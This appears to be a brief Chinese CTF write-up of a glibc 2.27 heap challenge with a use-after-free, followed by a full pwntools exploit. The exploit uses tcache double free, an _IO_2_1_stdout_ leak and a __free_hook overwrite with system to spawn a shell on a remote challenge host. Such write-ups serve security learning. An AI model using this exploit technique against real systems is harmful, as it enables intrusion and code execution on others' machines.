2.27-3ubuntu1_amd64 保护全开 只有 add 和 free 功能
存在 uaf 漏洞
那么就很明显了,需要利用 IO_file 泄露 libc_base
我这里是利用 double free + tcahce bin attack 来修改 chunk size 造成堆块重叠,这时候就可以将 main_arena_xx 放入一个堆块的 fd 中,那么修改后就可以令其指向 _IO_2_1_stdout 了。
泄露了 libc_base ,存在 uaf ,接下来就随便做了
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a) #p = process('./pwn') p = remote('1.14.71.254', 28177) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def init(name, ID): sa(b'name?\n', name) sa(b'ID.\n', ID) def add(size, data = b'a'): sla(b'choice:', b'1') sla(b'story: \n', str(size)) sa(b'story: \n', data) def free(idx): sla(b'choice:', b'4') sla(b'index:\n', str(idx)) init(b'a', b'a') add(0x60) #index 0 add(0x50) #index 1 add(0x410) #index 2 add(0x50) #index 3 # chunk overlap -> leak libc_base free(3) free(1) free(1) add(0x50, p8(0x50)) #index 4 add(0x50) #index 5 add(0x50, p64(0) + p64(0x4f1)) #index 6 free(0) free(1) add(0x60) #index 7 add(0x40, p16(0xc760)) #index 8 add(0x50) #index 9 add(0x50, p64(0xfbad1887) + p64(0)*3 + p8(0x58)) #index 10 libc_base = get_addr() - libc.sym['_IO_file_jumps'] # tachce bin attack : free_hook -> system free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] add(0x30) #index 11 add(0x30, b'/bin/sh\x00') #index 12 free(11) free(11) add(0x30, p64(free_hook)) #index 13 add(0x30) #index 14 add(0x30, p64(system)) #index 15 # pwn free(12) inter() print(' libc_base -> ', hex(libc_base)) #debug()
